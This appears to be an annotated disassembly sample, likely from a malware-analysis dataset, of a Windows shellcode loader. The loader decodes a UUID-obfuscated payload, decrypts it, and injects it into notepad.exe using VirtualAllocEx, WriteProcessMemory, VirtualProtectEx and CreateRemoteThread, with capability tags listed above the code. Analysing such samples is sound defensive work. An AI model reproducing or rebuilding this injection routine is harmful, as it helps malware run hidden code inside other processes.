Function at 0x140001560
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push r15
sub rsp, 0xa0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x88], rax
xor r15d, r15d
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x78]
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x78], r15d
call fcn.140001360
test eax, eax
jne 0x1400015b1
lea rcx, str.____Process_could_not_be_found__n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x14000195c
mov qword [rsp + 0xb0], rbx
lea rdx, str.notepad.exe
mov qword [rsp + 0xb8], rbp
lea rcx, str.___Got_the_handle_to__s_n
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0x98], r12
mov qword [rsp + 0x90], r14
call fcn.140001010
lea rcx, str.___Trying_to_deobfuscate_the_payload.._n
call fcn.140001010
lea rcx, str.RPCRT4
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.UuidFromStringA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test rax, rax
jne 0x14000163e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x14000191b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x120
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x140001679
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x14000191b
lea r12, str.ef39d87c_259d_6211_d595_7598590c7dab
mov rdi, r14
mov rsi, r12
mov ebx, r15d
nop dword [rax]
mov rcx, qword [rsi]
mov rdx, rdi
call rbp
test eax, eax
jne 0x140001905
add rdi, 0x10
inc ebx
add rsi, 8
cmp ebx, 0x12
jb 0x140001690
lea rcx, str.___Payload_successfully_deobfuscated__n
call fcn.140001010
mov rdx, r14
lea rcx, str._i__Deobfuscated_payload_located_at:__p_n
call fcn.140001010
mov edx, 0x120
lea rcx, str._i__Deobfuscated_payload_size_is:__zu_n
call fcn.140001010
lea rax, [0x140005120]
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x48]
lea rax, [0x140005080]
mov dword [rsp + 0x50], r15d
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x58], r14
mov dword [rsp + 0x60], 0x120
call fcn.140001070
test eax, eax
jne 0x14000173d
lea rcx, str.____Could_not_decrypt_the_payload..._n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140001927
mov rbp, qword [rsp + 0x48]
lea rcx, str.___Payload_successfully_decrypted__n
mov edi, dword [rsp + 0x50]
call fcn.140001010
mov rdx, rbp
lea rcx, str._i__Decrypted_payload_located_at:__p_n
call fcn.140001010
mov edx, edi
lea rcx, str._i__Decrypted_payload_size_is:__d_n
call fcn.140001010
lea rdx, str.notepad.exe
lea rcx, str.___Trying_to_inject_into_payload_into__ls_n
call fcn.140001010
mov rbx, qword [rsp + 0x40]
mov r9d, 0x3000
mov rcx, rbx
mov qword [rsp + 0x80], r15
mov r8d, edi
mov dword [rsp + 0x78], r15d
xor edx, edx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x1400017d1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAllocEx_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x140001927
mov rdx, rsi
lea rcx, str._i__Allocated_Memory_At_:_0x_p__n
call fcn.140001010
lea rax, [rsp + 0x80]
mov r9, rdi
mov r8, rbp
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400018ef
mov rdx, qword [rsp + 0x80]
cmp rdx, rdi
jne 0x1400018ef
lea rcx, str._i__Successfully_Written__d_Bytes_n
call fcn.140001010
mov r8, rdi
xor edx, edx
mov rcx, rbp
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x78]
mov r9d, 0x40
mov r8, rdi
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x14000186d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtectEx_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x140001927
lea rcx, str._i__Executing_Payload_...__n
call fcn.140001010
mov qword [rsp + 0x30], r15
mov r9, rsi
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x1400018c2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateRemoteThread_Failed_With_Error_:__d__n
call fcn.140001010
mov edx, 0x1f4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140001927
lea rcx, str.___DONE___n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14000192c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____WriteProcessMemory_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x140001927
movsxd rdx, ebx
lea rcx, str.____UuidFromStringA_Failed_At___s__With_Error_0x_0.8X
mov r8d, eax
mov rdx, qword [r12 + rdx*8]
call fcn.140001010
lea rcx, str.____Could_not_deobfuscate_the_payload.._n
call fcn.140001010
mov eax, 0xffffffff
mov r12, qword [rsp + 0x98]
mov rdi, qword [rsp + 0xc8]
mov rsi, qword [rsp + 0xc0]
mov rbp, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0xb0]
mov r14, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140001990
add rsp, 0xa0
pop r15
ret